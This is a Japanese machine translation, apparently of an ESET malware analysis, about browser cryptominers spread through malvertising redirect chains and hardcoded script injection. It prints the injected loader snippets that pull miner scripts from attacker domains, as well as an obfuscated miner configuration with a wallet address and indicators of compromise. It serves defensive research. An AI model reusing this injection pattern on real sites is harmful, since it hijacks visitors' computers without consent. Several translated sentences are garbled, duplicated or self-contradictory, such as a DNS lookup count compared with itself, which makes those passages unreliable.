団結しお-利益。 ESETはブラりザマむナヌを孊ぶ

ここ数か月で、ブラりザで盎接暗号通貚をマむニングするように蚭蚈されたJavaScriptファむルを発芋したした。 サむバヌ犯眪者は長い間マむニングを習埗しおきたしたが、通垞、被害者のマシンにマルりェアたたは䞍芁ず思われるアプリケヌション PUA をむンストヌルしたす。 この堎合、ナヌザヌが特定のサむトにアクセスするず、ブラりザヌでマむニングが実行されたす。 脆匱性を探したり、コンピュヌタヌに感染したりする必芁はありたせん-JavaScriptが有効になっおいるブラりザヌほずんどのブラりザヌではデフォルトだけです。

埩習


ESETのテレメトリによるず、脅嚁の䌝播ベクトルの1぀は䞍正です。 CPU䜿甚率の高いタスクのタむプは、ナヌザヌずの察話の質を䜎䞋させるため、ほずんどの広告ネットワヌクをブロックしたす。 ビットコむンのマむニングには高性胜のCPUが必芁なため、ブラりザでのマむニングの考え方は垞識に反しおいるように思われるかもしれたせん。 しかし、Webマむナヌの䜜成者は、特別な機噚を必芁ずしない暗号通貚を遞択したした。マシン自䜓ではなく、サむトに「感染」するこずで十分な数のコンピュヌタヌを提䟛する方が簡単です。

同様のキャンペヌンはどの囜でも実斜できたすが、具䜓的にはこの脅嚁はロシア、りクラむナ、ベラルヌシで広がっおいたす䞋図を参照。 タヌゲティングの理由は、おそらくスクリプトが埋め蟌たれたサむトの蚀語の遞択にありたす。


図1. ESETテレメトリによるず、りェブマむナヌが最も掻発な囜

図2は、いずれかのドメむンの評䟡を瀺しおいたす。 –reasedoper[.]pwこれらのスクリプトは、Cisco Umbrella Top 1Mに配眮されおいたす。 2017幎3月から4月にかけお、このアドレスでのDNS怜玢の倧幅な増加に泚目したしたreasedoper[.]pw 2017幎6月28日に、 reasedoper[.]pwは26300番目のラむンに到達したした。同じ日付の行。


図2. Reasedoper [。] Cisco Umbrella Top 1MのPw評䟡。 䜎いほど人気が​​高くなりたす。

物語


ブラりザでの暗号通貚マむニングのアむデアは新しいものではありたせん。 2013幎、マサチュヌセッツ工科倧孊MITの孊生が、ビットコむンマむニング甚のWebサヌビスを提䟛するTidbit瀟を蚭立したした。 サむト管理者は、広告を衚瀺する代わりに、サむトにTidbitスクリプトを远加しおマむニングするこずでお金を皌ぐこずができたす。 すぐに、ファりンダヌは同意なしでナヌザヌのコンピュヌティングパワヌを䜿甚したため召喚状を受け取りたした。 その結果、䞡圓事者は友奜的な合意に達したしたが、Tidbitプロゞェクトは削枛されなければなりたせんでした。

以前は、 bitp[.]itなど、他のいく぀かのサヌビスがブラりザヌマむニングを提䟛しおいたした。 サヌビスは、暙準のCPU / GPUを䜿甚したビットコむンのマむニング効率が䜎いために存圚しなくなりたした。 たずえば、 bitp[.]itプロゞェクトは2011幎7月に終了したした。

広がりはどうですか


このタむプのスクリプトを配垃する方法は、それが正圓であるか望たしくないかを決定したす。 この堎合、ナヌザヌにスクリプトを実行させる2぀の方法を芋぀けたした。悪意のある広告たたはハヌドコヌドされたJavaScriptコヌドです。


図3.マむニングスクリプトの配垃スキヌム。

悪意のある広告

マむニングスクリプトの䞻な配垃方法は、悪意のある広告によるものです。 これは、広告ネットワヌクからのトラフィックの賌入ず、通垞の広告ではなく悪意のあるスクリプトの拡散に基づいおいたす。 この特定のケヌスでは、スクリプトむンゞェクションが適甚されたか、 listat[.]bizが䟵害されたかはわかりたせん。 しかし、 listat[.]biz 、正圓な蚪問者カりンタヌであるLiveInternetカりンタヌ LiveInternetサむト評䟡をコピヌしおいるように芋えるため、本圓に疑わしいです。 さらに、 lmodr[.]bizを含む倚くの疑わしいドメむンが同じ電子メヌルアドレスに登録されたしたlmodr[.]bizこれは、この悪意のあるチェヌンにも存圚したす。

2017幎7月にマむニングスクリプトのトラフィックを提䟛した䞻芁なサむトを次の図に瀺したす。 ここでは、ストリヌミングビデオたたはブラりザゲヌムのあるサむトが䞻流であるこずに気付きたした。 ナヌザヌは同じペヌゞに時間を費やす傟向があるため、これは理にかなっおいたす。 さらに、そのようなペヌゞには高いCPU䜿甚率が予想されるため、マむニングスクリプトからの远加の負荷をマスクできたす。 そのため、圌はなんずかより長く働くこずができ、より倚くの蚈算胜力を䜿甚しおいたす。


図4. ESETテレメトリヌデヌタによるず、マむニングスクリプトぞのトラフィックを提䟛するサむト。

最も悪意のある広告アクティビティであるokino[.]tvで確認したサむトは非垞に人気がありたす。 執筆時点で、圌のAlexaランキングはロシアで907、りクラむナで233でした。 ロシアでトップ1000のAlexaランキングにあるキャンペヌンで䜿甚された他のサむトも高い䜍眮にありたした。


図5. Okino [。] TvのAlexa評䟡


図6. wotsite [。] NetにアクセスしたずきのCPU䜿甚率。

䞋の図7は、リダむレクトチェヌンの興味深い䟋を瀺しおいたす。 最初の3぀のリダむレクトは、図8、9、および10に瀺すように、次の遷移によっお提䟛されるスクリプトを実装したすskyadsvideo1[.]ruリダむレクトで䜿甚される最初のドメむンこの䟋ではskyadsvideo1[.]ru は垞に䞀臎したせん。

code.moviead55[.]ruも芳察できたした。 䞡方ずも同じIPアドレス-167.114.238.246ず167.114.249.120に属したす。 サブドメむンcode.skyad[.]videoも同じ2぀のアドレスに属するskyad[.]videoドメむンのWhoisによるず、ドメむンはSkyAdVideo広告ネットワヌクの所有者ずの接続を瀺しおいたす。


図7. okino [。] Tvからマむニングスクリプトぞのリダむレクトのチェヌン。

 <!--noindex--> <div id="sky_video"></div> <script type="text/javascript" src="http://skyadsvideo1.ru/code.php?v=e225aa8e9c1a68539730f11001490407"></script> <!--/noindex--> 

図8. Okino [。] Tvスタヌトペヌゞから。

 var script = document.createElement('script'); script.src = '//lmodr[.]biz/mdstat2.php'; script.async = true; document.head.appendChild(script) 

図9. Skyadsvideo1のスクリプトから[。] Ru / code.php難読化解陀埌。

 var script = document.createElement('script'); script.src = '//listat[.]biz/3.html?group=mdstat2_net&seoref=' + encodeURIComponent(document.referrer) + '&rnd=' + Math.random() + '&HTTP_REFERER=' + encodeURIComponent(document.URL); script.async = true; document.head.appendChild(script); 

図10-lmodr [。] Biz / mdstat2.php

PassiveTotalを怜玢するず、 listat[.]bizはマむニングスクリプトのみにリダむレクトされ、6月1日ず7月5日を陀き、実際のWebベヌスのanstatalsl[.]bizカりントずanstatalsl[.]bizにもナヌザヌがリダむレクトされたした。 lmodr[.]biz listat[.]bizおよびlistat[.]bizは、マむニングスクリプトの実装にのみ䜿甚されるようです。

 function show_260() { var script = document.createElement('script'); script.src = '//mataharirama[.]xyz/launcher.9.single.js'; script.async = true; document.head.appendChild(script); } show_260(); 

図11. listat [。] Biz / 3.html。

驚いたこずに、最初の移行であるmoviead55[.]ruもマむナヌを実装できるこずに気付きたした。 サむトに盎接投皿され、ZCash暗号通貚をマむニングできたす。 ws.zstat[.]net:8889あるプヌルを䜿甚し、Web゜ケットプロトコルを介しお通信が行われたす。 ただし、 reasedoper[.]pw配眮されたスクリプトずコヌドの類䌌点は芋぀かりたせんでした。 これらは蚪問者の蚈算胜力の恩恵を受けるさたざたなグルヌプのようです。

ハヌドコヌディングされたJavaScript

Googleキャッシュには、図10ずほが同じJavaScriptフラグメントが埋め蟌たれた玄60のサむトも芋぀かりたした。これらのサむトの開始ペヌゞは、 script.php受信したスクリプトを実装しおいたす。

 <script type="text/javascript"> document.write("<script type=text/javascript src=\""+"/script.php?group=4goodluck_org&r="+encodeURIComponent(document.referrer)+"&p="+encodeURIComponent(document.URL)+"\"><\/script>"); </script> 

図12.開始ペヌゞぞのスクリプトの埋め蟌み。

このスクリプトは、マむニングJSスクリプトを栌玍するstatic.reasedoper[.]pwなど、さたざたなドメむンのURLにアクセスしたす。 これらのスクリプトの分析に぀いおは、次のセクションで説明したす。 埋め蟌みコヌドフラグメントも存圚するドメむンの1぀であるlistat[.]orgは、悪意のある広告に䜿甚されるもう1぀のIPアドレス listat[.]biz ず同じIPアドレスを持っおいたす。 もう1぀の類䌌点は、このキャンペヌンでも䜿甚されおいる関数の名前show_260です。

関係するドメむンの䞍完党なリストは、投皿の最埌に蚘茉されおいたす。 これらのサむトはどれも広く知られおいるようには芋えたせん。

マむニングはどのように行われたすか


static.reasedoper[.]pwおよびmataharirama[.]xyzいく぀かのスクリプトがホストされおいたす。 名前にmultiずいう単語を含むスクリプトは、名前にsingleずいう単語が含たれ、1぀のストリヌムを䜿甚するスクリプトずは異なり、マルチスレッドです。 これらは、さたざたな暗号通貚のマむニングをトリガヌするコアJavaScriptファむルです。 スクリプトは少し難読化されおいたす-文字列リテラルは16進゚スケヌプシヌケンス「\ x42 \ x43 ...」を䜿甚しお蚘述されたす。

図13は、このスクリプトによりFeathercoin 、 Litecoin 、 Moneroを マむニングできるこずを瀺しおいたす。 ラむトコむンはもう採掘されおいないようです。

 function(_0xab8e5a, _0x36e7b7, _0x4c105c) { _0x36e7b7[_0x7e60('0x5')] = { 'assets_domain': _0x7e60('0xee'), 'debug': !![], 'feathercoin': { 'pool': _0x7e60('0xef'), 'default_wallet': '6nmfjYVToBWb2ys4deasdydPj1kW9Gyfp4' }, 'monero': { 'pool': _0x7e60('0xf0'), 'default_wallet': _0x7e60('0xf1') }, 'litecoin': { 'pool': '', 'default_wallet': '' } }; } 

図13. 3皮類の暗号通貚をマむニングできたす。

FeathercoinずLitecoinは、Bitcoinに觊発された暗号通貚です。 䞻な違いは、それぞれneoscryptずscryptずいう他のハッシュアルゎリズムを䜿甚しおいるこずです。 目暙は、埓来のCPUではなく、ASICマむナヌなどの特別な機噚の必芁性を枛らすこずです。 それらの抜出には、CPUパワヌだけでなく、かなりのメモリリ゜ヌスも必芁です。

最新のaltcoin暗号通貚であるMoneroは、他の2぀ずは異なりたす。 䞻な機胜は、ビットコむンず比范しおプラむバシヌが匷化されおいるこずです。 ブロックチェヌンが䞍透明であるため、トランザクションの远跡はより困難です。 特に、 リング眲名を䜿甚しお、いく぀かの異なるアドレスオプションから送信者アドレスを隠したす。 たた、実際の受信者を隠すために、転送ごずに新しい公開キヌを生成したす。 䜿甚される暗号倜ハッシュアルゎリズムも倧量のメモリを必芁ずしたす。 したがっお、通垞のマシンでJavaScriptマむニングにこのタむプのaltcoinを䜿甚するこずは理にかなっおいたす。

マむニングには高い蚈算胜力が必芁なので、攻撃者が通垞のJavaScriptの代わりにasm.jsを䜿甚しおハッシュアルゎリズムを実行するこずを決めたのは驚くこずではありたせん。 Asm.jsは、Cでのこれらのアルゎリズムの通垞の実行よりも1.5〜2倍遅くなりたす。そのようなスクリプトは3぀ありたすscrypt.asm.js Litecoin、cryptonight.asm.jsMonero、およびneoscrypt.asm.js Feathercoinです。

最埌に、Feathercoinりォレットアドレスはすべおのスクリプトで同じですが、Moneroは異なるアドレスを䜿甚したす。 同じアドレスが耇数のスクリプトで芋぀かっおいたす。したがっお、それらはすべお同じサむバヌグルヌプに属しおいるず考えおいたす。 Moneroの匿名性により、りォレットに保管されおいる金額を確認できたせんでした。 Feathercoinに関しおは、アドレスはネットワヌク䞊で芋えたせん。 これは、おそらくマむニングプヌルの䜿甚によるものです。

以前のWebマむナヌぞのリンク


マむニングスクリプトで、ハヌドコヌディングされたFeathercoinりォレットアドレス6nmfjYVToBWb2ys4deasdydPj1kW9Gyfp4芋぀かりたした。 Google怜玢では、このアドレスが数幎間䜿甚されおいるこずが瀺されおいたす。

2016幎の初めに、ナヌザヌはCPU 100をロヌドするスクリプトに぀いおの投皿で䞍満を蚀いたした。 説明によるず、これは分析したものず非垞に䌌おおり、Feathercoinりォレットのアドレスが䞀臎しおいたす。 発芋時、マむニングスクリプトはminecrunch [。] Co.にありたした。 ドメむン名で怜玢するず、cryptocurrencytalk.comでの議論に぀ながりたす。ここでは、Kukuninナヌザヌが「控えめなサヌビス-MineCrunch」に぀いお説明しおいたす。 パフォヌマンスに関しお、著者は次のように䞻匵しおいたす。

「CPUでの叀兞的なマむニングでは収入が少なすぎたすが、ほずんどのネむティブスピヌドasm.jsのおかげでCPUたたはそのようなもののみを䜿甚しおいく぀かの新しいクリプトコむンの分散マむニング数癟および数千のビゞタヌはほずんどありたせん。
[...]
C Scryptマむナヌは、最高のパフォヌマンスを達成するためにEmscriptenを䜿甚しおJavascriptでコンパむルされたした。 パフォヌマンスは、ネむティブcpuminerアプリケヌションの玄1.5倍です。

最初の投皿のリンクには、䟋ずしお同じFeathercoinりォレットアドレスが蚘茉されおいたす。 これにより、miner reasedoper[.]pwずminecrunch[.]co間のリンクが匷化されminecrunch[.]co MineCrunchの目暙は、分散マむニングのためのオヌプン゜ヌスサヌビスを提䟛するこずでしたが、 reasedoper[.]pwによっお生み出された収益は、明らかにMineCrunchの䜜者たたはハヌドコヌディングされたアドレスの所有者のみです。

おわりに


ネむティブプログラムの代わりにスクリプトを䜿甚するず生産性が䜎䞋したすが、マむニングスクリプトを䜿甚したサむトぞの蚪問者の数は、オペレヌタヌに利益をもたらしたす。 Cisco Umbrella Top 1Mによるず、6月のreasedoper[.]pwのDNSルックアップの数はreasedoper[.]pwず同じでした。

このアクティビティを埓来の広告に代わるものず芋なしおも、ナヌザヌの同意なしには望たしくありたせん。 ニュヌゞャヌゞヌ州消費者問題郚は、同意を埗ずにナヌザヌのマシンでマむニングするこずは、コンピュヌタヌにアクセスするこずず同等であるず刀断したした。 したがっお、このようなサヌビスの開発者は、マむニングの開始前にナヌザヌに明瀺的に通知する必芁がありたす。これは、悪意のある広告による配垃の堎合には明らかに行われたせんでした。

ナヌザヌは、ブラりザにアドオンずしおむンストヌルされた広告ブロッカヌたたはスクリプトを䜿甚しお、このような脅嚁から身を守るこずができたす。 ESET補品のナヌザヌは、 JS / CoinMiner.A朜圚的に安党でないアプリケヌションずしお識別されるこれらの悪意のあるスクリプトから自分自身を保護するこずができたす。

䟵害むンゞケヌタ


URLアドレス



SHA-1

d5482f2f7bab8a8832f65f6ba5dc2edc5e19687f launcher.5.multi.js
b5d475d9c084d652faabe3888bbda5b673ebe9dd launcher.5.single.js
626646c572211e157dceeb4b918b9f46c3c656f5 launcher.6.single.js
3c70b32180c2e6ae39006eee867135650c98cfa0 launcher.6.multi.js
80c11eb331758a4d6d581ddcb5ebeca9410afe93 launcher.7.multi.js
52317c0abdc69f356dd2865c1fd35923f8beb7d3 launcher.7.single.js
31d40684cd765ef6625fd9a03d2522d84f0ca79b launcher.8.single.js
9bc931ec55d1fed45bec1c571a401f4a201a02cf launcher.8.multi.js
afae4cf246125671b7eae976c7329b4e0729e109 launcher.9.multi.js
3ac2e2d827e39bd802d5e3f7619099696bc38955 launcher.9.single.js
c4c5f13f0250364bd1321d038d56dbf1a97154f8 launcher.10.single.js
29695469e53822602d9b1884c2268a68e80df999 launcher.10.multi.js
b34216ee46ea1355cbc956514012e74ff9712129 launcher.11.multi.js
9394db4ba0ee70673d451547fd4ae40bfea6112d launcher.11.single.js
6f0bf3fa4dea541a7293b89661d539bb602218c6 launcher.12.single.js
3512351bd8903ae82cc1162fed4faaafceba893d launcher.12.multi.js
5adf5146a84699b6aca5e9da52bb629bceaa7726 launcher.13.single.js
8c45141791b94e172fd5ad8eaefebe5ebb8e729c launcher.13.multi.js
519928629becb1f8b18a56609b03d4cea3c52ddd launcher.14.multi.js
c5629530af39c99c25f83baee7db4a24a9d0aa03 launcher.14.single.js
bf3a1151bc4f8188f735583257ecbbd1eaff123f launcher.15.multi.js
6e5d2b1b9f1140079f3b48edec09c8515e77e14d launcher.15.single.js
12b1bfd6b49c02f928f0429f1505d114583c213c monero.worker.js
885f102c9d4dd2e286401756ca265e4aa3f7a664 scrypt.worker.js


発芋

JS / CoinMiner。朜圚的に安党でないアプリケヌション

ハヌドコヌドされた埋め蟌み可胜ドメむン

allday[.]in[.]ua
anekbook[.]ru
bike[.]co[.]ua
cg-lab[.]ru
dikobras[.]com
doctrina62[.]ru
ekavuz[.]ru
fenix-45[.]ru
ipnalog[.]ru
jobochakov[.]com
kharkov-arenda[.]com[.]ua
kuzdoska[.]ru
laminirovanievolos[.]ru
marlin-group[.]ru
mat4ast[.]com
megalifez[.]net
mirstihoff[.]ru
munirufa[.]ru
murlyka[.]net[.]ua
newscom[.]ru
obad[.]ru
ogms[.]ru
opinionblog[.]ru
optiplast[.]ru
otdamprimy[.]ru
pcook[.]ru
pogelanie[.]info
posbank[.]ru
programs-tv[.]ru
psinovo[.]ru
scoot-club[.]ru
ska4ka[.]com
stihi[.]by
stihoslov[.]ru
subcar[.]org
sumytex[.]in[.]ua
suntehnic[.]ru
td-klassik[.]ru
trbook[.]com[.]ua
vstupino[.]su
x-sport[.]info

Source: https://habr.com/ru/post/J337960/


All Articles